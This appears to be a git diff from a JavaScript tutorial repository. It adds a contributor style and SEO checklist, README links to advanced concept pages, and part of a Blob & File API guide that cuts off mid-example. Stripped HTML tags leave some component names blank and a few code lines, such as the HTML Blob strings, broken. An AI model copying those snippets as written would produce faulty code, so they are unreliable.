+| freeCodeCamp | Beginner-friendly, practical tutorials |
+| dev.to (Lydia Hallie, etc.) | Visual explanations, community favorites |
+| CSS-Tricks | DOM, browser APIs, visual topics |
+
+**Videos (Prioritize):**
+
+| Creator | Style |
+|---------|-------|
+| Web Dev Simplified | Clear, beginner-friendly, concise |
+| Fireship | Fast-paced, modern, entertaining |
+| Traversy Media | Comprehensive crash courses |
+| Fun Fun Function | Deep-dives with personality |
+| Wes Bos | Practical, real-world focused |
+
+**Avoid:**
+- Resources in other programming languages (C#, Python, Java) even if concepts overlap
+- Outdated tutorials (pre-ES6 syntax for modern concepts)
+- Paywalled content (unless there's a free tier)
+- Low-quality Medium articles (check engagement and accuracy)
+- Resources that teach anti-patterns
+- Videos over 2 hours (link to specific timestamps if valuable)
+
+### Verifying Resources
+
+Before including any resource:
+
+1. **Click the link** — Verify it loads and isn't behind a paywall
+2. **Skim the content** — Ensure it's accurate and well-written
+3. **Check the date** — For time-sensitive topics, prefer recent content
+4. **Read comments/reactions** — Community feedback reveals quality issues
+5. **Test code examples** — If they include code, verify it works
+
+---
+
+## ASCII Art Diagrams
+
+Use ASCII art to visualize concepts. Make them boxed and labeled:
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ THE REQUEST-RESPONSE CYCLE │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ YOU (Browser) KITCHEN (Server) │
+│ ┌──────────┐ ┌──────────────┐ │
+│ │ │ ──── "I'd like pasta" ────► │ │ │
+│ │ :) │ (REQUEST) │ [chef] │ │
+│ │ │ │ │ │
+│ │ │ ◄──── Here you go! ──────── │ │ │
+│ │ │ (RESPONSE) │ │ │
+│ └──────────┘ └──────────────┘ │
+│ │
+│ The waiter (HTTP) is the protocol that makes this exchange work! │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Mintlify Components Reference
+
+| Component | When to Use |
+|-----------|-------------|
+| `` | "What you'll learn" boxes, Key Takeaways |
+| `` | Common mistakes, gotchas, prerequisites |
+| `` | Pro tips, rules of thumb, best practices |
+| `` | Additional context, side notes |
+| `` | Expandable content, Q&A sections, optional deep-dives |
+| `` | Comparing different approaches side-by-side |
+| `` | Sequential processes, numbered workflows |
+| `` | Resource links (articles, videos, references) |
+| `` | Individual resource with icon and link |
+
+### Card Icons Reference
+
+| Content Type | Icon |
+|--------------|------|
+| MDN/Official Docs | `book` |
+| Articles/Blog Posts | `newspaper` |
+| Videos | `video` |
+| Courses | `graduation-cap` |
+| Related Concepts | Context-appropriate (`handshake`, `hourglass`, `arrows-spin`, `sitemap`, etc.) |
+
+---
+
+## Quality Checklist
+
+Before finalizing a concept page, verify ALL of these:
+
+### Structure
+- [ ] Opens with engaging questions that hook the reader
+- [ ] Shows a simple code example immediately after the opening
+- [ ] Has "What you'll learn" Info box right after the opening
+- [ ] Major sections are separated by `---` horizontal rules
+- [ ] Has a real-world analogy with ASCII art diagram
+- [ ] Has a "Common Mistakes" or "The #1 Mistake" section
+- [ ] Has a "Key Takeaways" section summarizing 8-10 points
+- [ ] Has a "Test Your Knowledge" section with 5-6 Q&As
+- [ ] Ends with Related Concepts, Reference, Articles, Videos in that order
+
+### Linking
+- [ ] All new Web APIs/methods have inline MDN links on first mention
+- [ ] All related concepts link to their concept pages (`/concepts/slug`)
+- [ ] Reference section has multiple MDN links
+- [ ] 4-6 quality articles with descriptions
+- [ ] 3-4 quality videos with descriptions
+
+### Code Examples
+- [ ] First code example is dead simple
+- [ ] Uses step-by-step comments for complex examples
+- [ ] Shows output in comments (`// "result"`)
+- [ ] Uses ❌ and ✓ for wrong/correct patterns
+- [ ] Uses meaningful variable names
+- [ ] Progresses from simple to complex
+
+### Content Quality
+- [ ] Written for someone who might be new to coding
+- [ ] Prerequisites are noted with Warning component
+- [ ] No assumptions about prior knowledge without links
+- [ ] Tables used for quick reference information
+- [ ] ASCII diagrams for visual concepts
+
+### Language Quality
+- [ ] Description starts with "Learn" or "Understand" (not "Master")
+- [ ] No overuse of em dashes (fewer than 15 outside Key Takeaways and structured sections)
+- [ ] No AI superlatives: "dramatically", "fundamentally", "incredibly", "extremely"
+- [ ] No stiff phrases: "one of the most important", "essential points", "It should be noted"
+- [ ] Emphasis patterns vary (not all "Key insight:" or "Best practice:")
+- [ ] Playful touches are sparse (1-2 per major section maximum)
+- [ ] No filler words: "basically", "essentially", "actually", "very", "really"
+- [ ] Sentences are direct (no "In order to", "Due to the fact that")
+
+### Resource Quality
+- [ ] All article/video links are verified working
+- [ ] All resources are JavaScript-focused (no C#, Python, Java resources)
+- [ ] Each resource has a specific 2-sentence description (not generic)
+- [ ] Resource descriptions explain what makes each unique
+- [ ] No outdated resources (check dates for time-sensitive topics)
+- [ ] 4-6 articles from reputable sources
+- [ ] 3-4 videos from quality creators
+
+---
+
+## Writing Tests
+
+When adding code examples, create corresponding tests in `/tests/`:
+
+```javascript
+// tests/{category}/{concept-name}/{concept-name}.test.js
+import { describe, it, expect } from 'vitest'
+
+describe('Concept Name', () => {
+ describe('Basic Examples', () => {
+ it('should demonstrate the core concept', () => {
+ // Convert console.log examples to expect assertions
+ expect(typeof "hello").toBe("string")
+ })
+ })
+
+ describe('Common Mistakes', () => {
+ it('should show the wrong behavior', () => {
+ // Test the "wrong" example to prove it's actually wrong
+ })
+
+ it('should show the correct behavior', () => {
+ // Test the "correct" example
+ })
+ })
+})
+```
+
+---
+
+## SEO Checklist
+
+Verify these elements before publishing any concept page:
+
+### Title & Meta Description
+- [ ] **Title is 50-60 characters** — check with character counter
+- [ ] **Title ends with "in JavaScript"** — SEO keyword at end
+- [ ] **Title has a compelling hook** — tells reader what they'll understand
+- [ ] **sidebarTitle matches title but without "in JavaScript"** — cleaner navigation
+- [ ] **Description is 150-160 characters** — don't leave value on the table
+- [ ] **Description includes primary keyword** in first sentence
+- [ ] **Description includes 1-2 secondary keywords** naturally
+- [ ] **Description starts with action word** (Learn, Understand, Discover — avoid "Master")
+- [ ] **Description promises specific value** — what will they learn?
+
+### Keyword Placement
+- [ ] **Primary keyword in title**
+- [ ] **Primary keyword in description**
+- [ ] **Primary keyword in first paragraph** (within first 100 words)
+- [ ] **Primary keyword in at least one H2 heading**
+- [ ] **Secondary keywords in H2/H3 headings** where natural
+- [ ] **Keywords in "What you'll learn" box items**
+- [ ] **No keyword stuffing** — content reads naturally
+
+### Content Structure
+- [ ] **Opens with question hook** matching search intent
+- [ ] **Shows code example in first 200 words**
+- [ ] **First paragraph after H2s directly answers** the implied question
+- [ ] **Content is 1,500+ words** (comprehensive coverage)
+- [ ] **Short paragraphs** (2-4 sentences maximum)
+- [ ] **Uses bullet lists** for 3+ related items
+- [ ] **Uses numbered lists** for sequential processes
+- [ ] **Uses tables** for comparisons and reference data
+- [ ] **Key terms bolded** on first mention with MDN links
+
+### Featured Snippet Optimization
+- [ ] **"What is X" section has 40-60 word definition paragraph**
+- [ ] **"How to" sections use numbered steps or `` component**
+- [ ] **Comparison sections use tables** with clear headers
+- [ ] **At least one H2 is phrased as a question** matching search query
+
+### Internal Linking
+- [ ] **Links to 3-5 related concept pages** in body content
+- [ ] **Uses descriptive anchor text** (not "click here" or "here")
+- [ ] **Prerequisites linked in Warning component** at start
+- [ ] **Related Concepts section has 4 cards** with relevant concepts
+- [ ] **Links appear in natural context** — not forced
+
+### Technical SEO
+- [ ] **Slug is lowercase with hyphens**
+- [ ] **Slug contains primary keyword**
+- [ ] **Slug is 3-5 words maximum**
+- [ ] **All external links use proper URLs** (no broken links)
+- [ ] **MDN links are current** (check they resolve)
diff --git a/README.md b/README.md
index 95541bbc..f1b53cca 100644
--- a/README.md
+++ b/README.md
@@ -145,6 +145,117 @@ This repository helps developers master core JavaScript concepts. Each concept i
---
+## Beyond 33: Extended Concepts
+
+Ready to go deeper? These advanced topics build on the fundamentals above.
+
+### Language Mechanics
+
+- **[Hoisting](https://33jsconcepts.com/concepts/hoisting)**
+ Learn how JavaScript hoists variable and function declarations. Understand why `var` behaves differently from `let` and `const`, function hoisting order, and how to avoid common bugs.
+
+- **[Temporal Dead Zone](https://33jsconcepts.com/concepts/temporal-dead-zone)**
+ Learn the Temporal Dead Zone (TDZ) in JavaScript. Understand why accessing `let` and `const` before declaration throws errors, and how TDZ differs from `var` hoisting.
+
+- **[Strict Mode](https://33jsconcepts.com/concepts/strict-mode)**
+ Learn JavaScript strict mode and how `'use strict'` catches common mistakes. Understand silent errors it prevents, forbidden syntax, and when to use it.
+
+### Type System
+
+- **[JavaScript Type Nuances](https://33jsconcepts.com/concepts/javascript-type-nuances)**
+ Learn advanced JavaScript type behavior. Understand null vs undefined, short-circuit evaluation, typeof quirks, instanceof and Symbol.hasInstance, Symbols, and BigInt for large numbers.
+
+### Objects & Properties
+
+- **[Property Descriptors](https://33jsconcepts.com/concepts/property-descriptors)**
+ Learn JavaScript property descriptors. Understand writable, enumerable, and configurable attributes, Object.defineProperty(), and how to create immutable object properties.
+
+- **[Getters & Setters](https://33jsconcepts.com/concepts/getters-setters)**
+ Learn JavaScript getters and setters. Understand how to define computed properties with `get` and `set`, validate data on assignment, and create reactive object behavior.
+
+- **[Object Methods](https://33jsconcepts.com/concepts/object-methods)**
+ Learn essential JavaScript Object methods. Master Object.keys(), Object.values(), Object.entries(), Object.fromEntries(), Object.freeze(), Object.seal(), and object cloning patterns.
+
+- **[Proxy & Reflect](https://33jsconcepts.com/concepts/proxy-reflect)**
+ Learn JavaScript Proxy and Reflect APIs. Understand how to intercept object operations, create reactive systems, implement validation, and build powerful metaprogramming patterns.
+
+- **[WeakMap & WeakSet](https://33jsconcepts.com/concepts/weakmap-weakset)**
+ Learn JavaScript WeakMap and WeakSet. Understand weak references, automatic garbage collection, private data patterns, and when to use them over Map and Set.
+
+### Memory & Performance
+
+- **[Memory Management](https://33jsconcepts.com/concepts/memory-management)**
+ Learn JavaScript memory management. Understand the memory lifecycle, stack vs heap allocation, memory leaks, and how to profile memory usage in DevTools.
+
+- **[Garbage Collection](https://33jsconcepts.com/concepts/garbage-collection)**
+ Learn how JavaScript garbage collection works. Understand mark-and-sweep, reference counting, generational GC, and how to write memory-efficient code.
+
+- **[Debouncing & Throttling](https://33jsconcepts.com/concepts/debouncing-throttling)**
+ Learn debouncing and throttling in JavaScript. Understand how to optimize event handlers, reduce API calls, improve scroll performance, and implement both patterns from scratch.
+
+- **[Memoization](https://33jsconcepts.com/concepts/memoization)**
+ Learn memoization in JavaScript. Understand how to cache function results, optimize expensive computations, implement memoization patterns, and when caching hurts performance.
+
+### Modern Syntax & Operators
+
+- **[Tagged Template Literals](https://33jsconcepts.com/concepts/tagged-template-literals)**
+ Learn JavaScript tagged template literals. Understand how to create custom string processing functions, build DSLs, sanitize HTML, and use popular libraries like styled-components.
+
+- **[Computed Property Names](https://33jsconcepts.com/concepts/computed-property-names)**
+ Learn JavaScript computed property names. Understand how to use dynamic keys in object literals, create objects from variables, and leverage Symbol keys.
+
+### Browser Storage
+
+- **[localStorage & sessionStorage](https://33jsconcepts.com/concepts/localstorage-sessionstorage)**
+ Learn Web Storage APIs in JavaScript. Understand localStorage vs sessionStorage, storage limits, JSON serialization, storage events, and security considerations.
+
+- **[IndexedDB](https://33jsconcepts.com/concepts/indexeddb)**
+ Learn IndexedDB for client-side storage in JavaScript. Understand how to store large amounts of structured data, create indexes, perform transactions, and handle versioning.
+
+- **[Cookies](https://33jsconcepts.com/concepts/cookies)**
+ Learn JavaScript cookies. Understand how to read, write, and delete cookies, cookie attributes like HttpOnly and SameSite, security best practices, and when to use cookies vs Web Storage.
+
+### Events
+
+- **[Event Bubbling & Capturing](https://33jsconcepts.com/concepts/event-bubbling-capturing)**
+ Learn JavaScript event bubbling and capturing. Understand the three phases of event propagation, stopPropagation(), event flow direction, and when to use each phase.
+
+- **[Event Delegation](https://33jsconcepts.com/concepts/event-delegation)**
+ Learn event delegation in JavaScript. Understand how to handle events efficiently using bubbling, manage dynamic elements, reduce memory usage, and implement common delegation patterns.
+
+- **[Custom Events](https://33jsconcepts.com/concepts/custom-events)**
+ Learn JavaScript custom events. Understand how to create, dispatch, and listen for CustomEvent, pass data between components, and build decoupled event-driven architectures.
+
+### Observer APIs
+
+- **[Intersection Observer](https://33jsconcepts.com/concepts/intersection-observer)**
+ Learn the Intersection Observer API. Understand how to detect element visibility, implement lazy loading, infinite scroll, and animate elements on scroll efficiently.
+
+- **[Mutation Observer](https://33jsconcepts.com/concepts/mutation-observer)**
+ Learn the Mutation Observer API. Understand how to watch DOM changes, detect attribute modifications, observe child elements, and replace deprecated mutation events.
+
+- **[Resize Observer](https://33jsconcepts.com/concepts/resize-observer)**
+ Learn the Resize Observer API. Understand how to respond to element size changes, build responsive components, and replace inefficient window resize listeners.
+
+- **[Performance Observer](https://33jsconcepts.com/concepts/performance-observer)**
+ Learn the Performance Observer API. Understand how to measure page performance, track Long Tasks, monitor layout shifts, and collect Core Web Vitals metrics.
+
+### Data Handling
+
+- **[JSON Deep Dive](https://33jsconcepts.com/concepts/json-deep-dive)**
+ Learn advanced JSON in JavaScript. Understand JSON.stringify() replacers, JSON.parse() revivers, handling circular references, BigInt serialization, and custom toJSON methods.
+
+- **[Typed Arrays & ArrayBuffers](https://33jsconcepts.com/concepts/typed-arrays-arraybuffers)**
+ Learn JavaScript Typed Arrays and ArrayBuffers. Understand binary data handling, DataView, working with WebGL, file processing, and network protocol implementation.
+
+- **[Blob & File API](https://33jsconcepts.com/concepts/blob-file-api)**
+ Learn JavaScript Blob and File APIs. Understand how to create, read, and manipulate binary data, handle file uploads, generate downloads, and work with FileReader.
+
+- **[requestAnimationFrame](https://33jsconcepts.com/concepts/requestanimationframe)**
+ Learn requestAnimationFrame in JavaScript. Understand how to create smooth 60fps animations, sync with browser repaint cycles, and optimize animation performance.
+
+---
+
## Translations
This project has been translated into 40+ languages by our amazing community!
diff --git a/docs/beyond/concepts/blob-file-api.mdx b/docs/beyond/concepts/blob-file-api.mdx
new file mode 100644
index 00000000..a574f015
--- /dev/null
+++ b/docs/beyond/concepts/blob-file-api.mdx
@@ -0,0 +1,1137 @@
+---
+title: "Blob & File API: Working with Binary Data in JavaScript"
+sidebarTitle: "Blob & File API"
+description: "Learn JavaScript Blob and File APIs for binary data. Create, read, and manipulate files, handle uploads, generate downloads, and work with FileReader."
+---
+
+How do you let users upload images? How do you create a downloadable file from data generated in JavaScript? How can you read the contents of a file the user selected?
+
+The **[Blob](https://developer.mozilla.org/en-US/docs/Web/API/Blob)** and **[File](https://developer.mozilla.org/en-US/docs/Web/API/File)** APIs are JavaScript's tools for working with binary data. They power everything from profile picture uploads to CSV exports to image processing in the browser.
+
+```javascript
+// Create a text file and download it
+const content = 'Hello, World!'
+const blob = new Blob([content], { type: 'text/plain' })
+const url = URL.createObjectURL(blob)
+
+const link = document.createElement('a')
+link.href = url
+link.download = 'hello.txt'
+link.click()
+
+URL.revokeObjectURL(url) // Clean up memory
+```
+
+Understanding these APIs unlocks powerful client-side file handling without needing a server.
+
+
+**What you'll learn in this guide:**
+- What Blobs are and how to create them from strings, arrays, and other data
+- How the File interface extends Blob for user-selected files
+- Reading file contents with FileReader (text, data URLs, ArrayBuffers)
+- Creating downloadable files with Blob URLs
+- Uploading files with FormData
+- Slicing large files for chunked uploads
+- Converting between Blobs, ArrayBuffers, and Data URLs
+
+
+
+**Prerequisites:** This guide assumes you understand [Promises](/concepts/promises) and [async/await](/concepts/async-await). If you're not familiar with those concepts, read those guides first. You should also be comfortable with basic DOM manipulation.
+
+
+---
+
+## What is a Blob in JavaScript?
+
+A **[Blob](https://developer.mozilla.org/en-US/docs/Web/API/Blob)** (Binary Large Object) is an immutable, file-like object that represents raw binary data. Think of it as a container that can hold any kind of data: text, images, audio, video, or arbitrary bytes. Blobs are the foundation for file handling in JavaScript, as the File interface is built on top of Blob.
+
+Unlike regular JavaScript strings or arrays, Blobs are designed to efficiently handle large amounts of binary data. They're immutable, meaning once created, you can't change their contents. Instead, you create new Blobs from existing ones.
+
+```javascript
+// Creating Blobs from different data types
+const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' })
+const jsonBlob = new Blob([JSON.stringify({ name: 'Alice' })], { type: 'application/json' })
+const htmlBlob = new Blob(['
Title
'], { type: 'text/html' })
+
+console.log(textBlob.size) // 13 (bytes)
+console.log(textBlob.type) // "text/plain"
+```
+
+---
+
+## The Filing Cabinet Analogy
+
+Imagine a filing cabinet in an office. The cabinet (Blob) holds documents, but you can't read them just by looking at the cabinet. You need to open it and take out the contents.
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ BLOB: THE FILING CABINET │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ ┌────────────────┐ │
+│ │ │ Blob Properties: │
+│ │ ┌──────────┐ │ • size: how many bytes (papers) inside │
+│ │ │ [data] │ │ • type: what kind of content (MIME type) │
+│ │ │ [data] │ │ │
+│ │ │ [data] │ │ To read the contents, you need: │
+│ │ └──────────┘ │ • FileReader (opens and reads) │
+│ │ │ • blob.text() / blob.arrayBuffer() (async) │
+│ │ 📁 BLOB │ • URL.createObjectURL() (creates a link) │
+│ └────────────────┘ │
+│ │
+│ You can't change papers inside, but you can: │
+│ • Create a new cabinet with different papers (new Blob) │
+│ • Take a portion of papers (blob.slice()) │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+The key insight: **Blobs store data but don't expose it directly**. You need tools like [FileReader](https://developer.mozilla.org/en-US/docs/Web/API/FileReader) or Blob methods to access the contents.
+
+---
+
+## Creating Blobs
+
+The [`Blob()` constructor](https://developer.mozilla.org/en-US/docs/Web/API/Blob/Blob) takes two arguments: an array of data parts and an options object.
+
+### Basic Blob Creation
+
+```javascript
+// Syntax: new Blob(blobParts, options)
+
+// From a string
+const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' })
+
+// From multiple strings (they're concatenated)
+const multiBlob = new Blob(['Hello, ', 'World!'], { type: 'text/plain' })
+
+// From JSON data
+const user = { name: 'Alice', age: 30 }
+const jsonBlob = new Blob(
+ [JSON.stringify(user, null, 2)],
+ { type: 'application/json' }
+)
+
+// From HTML
+const htmlBlob = new Blob(
+ ['
Hello
'],
+ { type: 'text/html' }
+)
+```
+
+### From Typed Arrays and ArrayBuffers
+
+Blobs can also be created from binary data like [Typed Arrays](/beyond/concepts/typed-arrays-arraybuffers):
+
+```javascript
+// From a Uint8Array
+const bytes = new Uint8Array([72, 101, 108, 108, 111]) // "Hello" in ASCII
+const binaryBlob = new Blob([bytes], { type: 'application/octet-stream' })
+
+// From an ArrayBuffer
+const buffer = new ArrayBuffer(8)
+const view = new DataView(buffer)
+view.setFloat64(0, Math.PI)
+const bufferBlob = new Blob([buffer])
+
+// Combining different data types
+const mixedBlob = new Blob([
+ 'Header: ',
+ bytes,
+ '\nFooter'
+], { type: 'text/plain' })
+```
+
+### Blob Properties
+
+Every Blob has two read-only properties:
+
+| Property | Description | Example |
+|----------|-------------|---------|
+| `size` | Size in bytes | `blob.size` returns `13` for "Hello, World!" |
+| `type` | MIME type string | `blob.type` returns `"text/plain"` |
+
+```javascript
+const blob = new Blob(['Hello, World!'], { type: 'text/plain' })
+console.log(blob.size) // 13
+console.log(blob.type) // "text/plain"
+```
+
+---
+
+## The File Interface
+
+The **[File](https://developer.mozilla.org/en-US/docs/Web/API/File)** interface extends Blob, adding properties specific to files from the user's system. When users select files through `` or drag-and-drop, you get File objects.
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ FILE EXTENDS BLOB │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ ┌─────────────────────────────────────────────────────────────────┐ │
+│ │ BLOB │ │
+│ │ • size (bytes) │ │
+│ │ • type (MIME type) │ │
+│ │ • slice(), text(), arrayBuffer(), stream() │ │
+│ │ │ │
+│ │ ┌─────────────────────────────────────────────────────────┐ │ │
+│ │ │ FILE │ │ │
+│ │ │ + name (filename with extension) │ │ │
+│ │ │ + lastModified (timestamp) │ │ │
+│ │ │ + webkitRelativePath (for directory uploads) │ │ │
+│ │ └─────────────────────────────────────────────────────────┘ │ │
+│ └─────────────────────────────────────────────────────────────────┘ │
+│ │
+│ File inherits everything from Blob, plus file-specific metadata. │
+│ Any API that accepts Blob also accepts File. │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+### Getting Files from User Input
+
+The most common way to get File objects is from an `` element:
+
+```javascript
+// HTML:
+
+const fileInput = document.getElementById('fileInput')
+
+fileInput.addEventListener('change', (event) => {
+ const files = event.target.files // FileList object
+
+ for (const file of files) {
+ console.log('Name:', file.name) // "photo.jpg"
+ console.log('Size:', file.size) // 1024000 (bytes)
+ console.log('Type:', file.type) // "image/jpeg"
+ console.log('Modified:', file.lastModified) // 1704067200000 (timestamp)
+ console.log('Modified Date:', new Date(file.lastModified))
+ }
+})
+```
+
+### Creating File Objects Programmatically
+
+You can create File objects directly with the [`File()` constructor](https://developer.mozilla.org/en-US/docs/Web/API/File/File):
+
+```javascript
+// Syntax: new File(fileBits, fileName, options)
+
+const file = new File(
+ ['Hello, World!'], // Content (same as Blob)
+ 'greeting.txt', // Filename
+ {
+ type: 'text/plain', // MIME type
+ lastModified: Date.now() // Optional timestamp
+ }
+)
+
+console.log(file.name) // "greeting.txt"
+console.log(file.size) // 13
+console.log(file.type) // "text/plain"
+```
+
+### Drag and Drop Files
+
+Files can also come from drag-and-drop operations:
+
+```javascript
+const dropZone = document.getElementById('dropZone')
+
+dropZone.addEventListener('dragover', (e) => {
+ e.preventDefault() // Required to allow drop
+ dropZone.classList.add('drag-over')
+})
+
+dropZone.addEventListener('dragleave', () => {
+ dropZone.classList.remove('drag-over')
+})
+
+dropZone.addEventListener('drop', (e) => {
+ e.preventDefault()
+ dropZone.classList.remove('drag-over')
+
+ const files = e.dataTransfer.files // FileList
+
+ for (const file of files) {
+ console.log('Dropped:', file.name, file.type)
+ }
+})
+```
+
+---
+
+## Reading Files with FileReader
+
+**[FileReader](https://developer.mozilla.org/en-US/docs/Web/API/FileReader)** is an asynchronous API for reading Blob and File contents. It provides different methods depending on how you want the data:
+
+| Method | Returns | Use Case |
+|--------|---------|----------|
+| `readAsText(blob)` | String | Text files, JSON, CSV |
+| `readAsDataURL(blob)` | Data URL string | Image previews, embedding |
+| `readAsArrayBuffer(blob)` | ArrayBuffer | Binary processing |
+| `readAsBinaryString(blob)` | Binary string | Legacy (deprecated) |
+
+### Reading Text Content
+
+```javascript
+function readTextFile(file) {
+ return new Promise((resolve, reject) => {
+ const reader = new FileReader()
+
+ reader.onload = () => resolve(reader.result)
+ reader.onerror = () => reject(reader.error)
+
+ reader.readAsText(file)
+ })
+}
+
+// Usage with file input
+fileInput.addEventListener('change', async (e) => {
+ const file = e.target.files[0]
+
+ if (file.type === 'text/plain' || file.name.endsWith('.txt')) {
+ const content = await readTextFile(file)
+ console.log(content)
+ }
+})
+```
+
+### Reading as Data URL (for Image Previews)
+
+A [Data URL](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs) is a string that contains the file data encoded as base64. It can be used directly as an `src` attribute for images:
+
+```javascript
+function readAsDataURL(file) {
+ return new Promise((resolve, reject) => {
+ const reader = new FileReader()
+
+ reader.onload = () => resolve(reader.result)
+ reader.onerror = () => reject(reader.error)
+
+ reader.readAsDataURL(file)
+ })
+}
+
+// Image preview example
+const imageInput = document.getElementById('imageInput')
+const preview = document.getElementById('preview')
+
+imageInput.addEventListener('change', async (e) => {
+ const file = e.target.files[0]
+
+ if (file && file.type.startsWith('image/')) {
+ const dataUrl = await readAsDataURL(file)
+ preview.src = dataUrl // Display the image
+ // dataUrl looks like: "data:image/jpeg;base64,/9j/4AAQSkZJRg..."
+ }
+})
+```
+
+### Reading as ArrayBuffer
+
+For binary processing, read the file as an [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer):
+
+```javascript
+function readAsArrayBuffer(file) {
+ return new Promise((resolve, reject) => {
+ const reader = new FileReader()
+
+ reader.onload = () => resolve(reader.result)
+ reader.onerror = () => reject(reader.error)
+
+ reader.readAsArrayBuffer(file)
+ })
+}
+
+// Example: Check if a file is a PNG image by reading magic bytes
+async function isPNG(file) {
+ const buffer = await readAsArrayBuffer(file.slice(0, 8))
+ const bytes = new Uint8Array(buffer)
+
+ // PNG magic number: 137 80 78 71 13 10 26 10
+ const pngSignature = [137, 80, 78, 71, 13, 10, 26, 10]
+
+ return pngSignature.every((byte, i) => bytes[i] === byte)
+}
+```
+
+### FileReader Events
+
+FileReader provides several events for monitoring the reading process:
+
+```javascript
+const reader = new FileReader()
+
+reader.onloadstart = () => console.log('Started reading')
+reader.onprogress = (e) => {
+ if (e.lengthComputable) {
+ const percent = (e.loaded / e.total) * 100
+ console.log(`Progress: ${percent.toFixed(1)}%`)
+ }
+}
+reader.onload = () => console.log('Read complete:', reader.result)
+reader.onerror = () => console.error('Error:', reader.error)
+reader.onloadend = () => console.log('Finished (success or failure)')
+
+reader.readAsText(file)
+```
+
+---
+
+## Modern Blob Methods
+
+Modern browsers support Promise-based methods directly on Blob objects, which are often cleaner than FileReader:
+
+```javascript
+const blob = new Blob(['Hello, World!'], { type: 'text/plain' })
+
+// Read as text (Promise-based)
+const text = await blob.text()
+console.log(text) // "Hello, World!"
+
+// Read as ArrayBuffer
+const buffer = await blob.arrayBuffer()
+console.log(new Uint8Array(buffer)) // Uint8Array [72, 101, ...]
+
+// Read as stream (for large files)
+const stream = blob.stream()
+const reader = stream.getReader()
+
+while (true) {
+ const { done, value } = await reader.read()
+ if (done) break
+ console.log('Chunk:', value) // Uint8Array chunks
+}
+```
+
+
+**When to use what:** For simple reads, use `blob.text()` or `blob.arrayBuffer()`. For large files where you want to process data as it streams, use `blob.stream()`. Use FileReader when you need progress events or Data URLs.
+
+
+---
+
+## Creating Downloadable Files
+
+One of the most useful Blob applications is generating downloadable files in the browser. The key is [`URL.createObjectURL()`](https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL_static).
+
+### Basic Download
+
+```javascript
+function downloadBlob(blob, filename) {
+ // Create a URL pointing to the blob
+ const url = URL.createObjectURL(blob)
+
+ // Create a temporary link element
+ const link = document.createElement('a')
+ link.href = url
+ link.download = filename // Suggested filename
+
+ // Trigger the download
+ document.body.appendChild(link)
+ link.click()
+ document.body.removeChild(link)
+
+ // Clean up the URL (free memory)
+ URL.revokeObjectURL(url)
+}
+
+// Download a text file
+const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' })
+downloadBlob(textBlob, 'greeting.txt')
+
+// Download JSON data
+const data = { users: [{ name: 'Alice' }, { name: 'Bob' }] }
+const jsonBlob = new Blob(
+ [JSON.stringify(data, null, 2)],
+ { type: 'application/json' }
+)
+downloadBlob(jsonBlob, 'users.json')
+```
+
+### Export Table Data as CSV
+
+```javascript
+function tableToCSV(tableData, headers) {
+ const rows = [
+ headers.join(','),
+ ...tableData.map(row =>
+ row.map(cell => `"${cell}"`).join(',')
+ )
+ ]
+
+ return rows.join('\n')
+}
+
+function downloadCSV(tableData, headers, filename) {
+ const csv = tableToCSV(tableData, headers)
+ const blob = new Blob([csv], { type: 'text/csv' })
+ downloadBlob(blob, filename)
+}
+
+// Usage
+const headers = ['Name', 'Email', 'Role']
+const data = [
+ ['Alice', 'alice@example.com', 'Admin'],
+ ['Bob', 'bob@example.com', 'User']
+]
+
+downloadCSV(data, headers, 'users.csv')
+```
+
+### Memory Management with Object URLs
+
+
+**Memory Leak Risk:** Every `URL.createObjectURL()` call allocates memory that isn't automatically freed. Always call `URL.revokeObjectURL()` when you're done with the URL, or you'll leak memory.
+
+
+```javascript
+// ❌ WRONG - Memory leak!
+function displayImage(blob) {
+ const url = URL.createObjectURL(blob)
+ img.src = url
+ // URL is never revoked, memory is leaked
+}
+
+// ✓ CORRECT - Clean up after use
+function displayImage(blob) {
+ const url = URL.createObjectURL(blob)
+ img.src = url
+
+ img.onload = () => {
+ URL.revokeObjectURL(url) // Free memory after image loads
+ }
+}
+
+// ✓ CORRECT - Clean up previous URL before creating new one
+let currentUrl = null
+
+function displayImage(blob) {
+ if (currentUrl) {
+ URL.revokeObjectURL(currentUrl)
+ }
+
+ currentUrl = URL.createObjectURL(blob)
+ img.src = currentUrl
+}
+```
+
+---
+
+## Uploading Files
+
+### Using FormData
+
+The most common way to upload files is with [FormData](https://developer.mozilla.org/en-US/docs/Web/API/FormData):
+
+```javascript
+async function uploadFile(file) {
+ const formData = new FormData()
+ formData.append('file', file)
+ formData.append('description', 'My uploaded file')
+
+ const response = await fetch('/api/upload', {
+ method: 'POST',
+ body: formData
+ // Don't set Content-Type header - browser sets it with boundary
+ })
+
+ if (!response.ok) {
+ throw new Error(`Upload failed: ${response.status}`)
+ }
+
+ return response.json()
+}
+
+// With file input
+fileInput.addEventListener('change', async (e) => {
+ const file = e.target.files[0]
+
+ try {
+ const result = await uploadFile(file)
+ console.log('Uploaded:', result)
+ } catch (error) {
+ console.error('Upload error:', error)
+ }
+})
+```
+
+### Uploading Multiple Files
+
+```javascript
+async function uploadMultipleFiles(files) {
+ const formData = new FormData()
+
+ for (const file of files) {
+ formData.append('files', file) // Same key for multiple files
+ }
+
+ const response = await fetch('/api/upload-multiple', {
+ method: 'POST',
+ body: formData
+ })
+
+ return response.json()
+}
+```
+
+### Upload with Progress
+
+For large files, show upload progress:
+
+```javascript
+function uploadWithProgress(file, onProgress) {
+ return new Promise((resolve, reject) => {
+ const xhr = new XMLHttpRequest()
+ const formData = new FormData()
+ formData.append('file', file)
+
+ xhr.upload.addEventListener('progress', (e) => {
+ if (e.lengthComputable) {
+ const percent = (e.loaded / e.total) * 100
+ onProgress(percent)
+ }
+ })
+
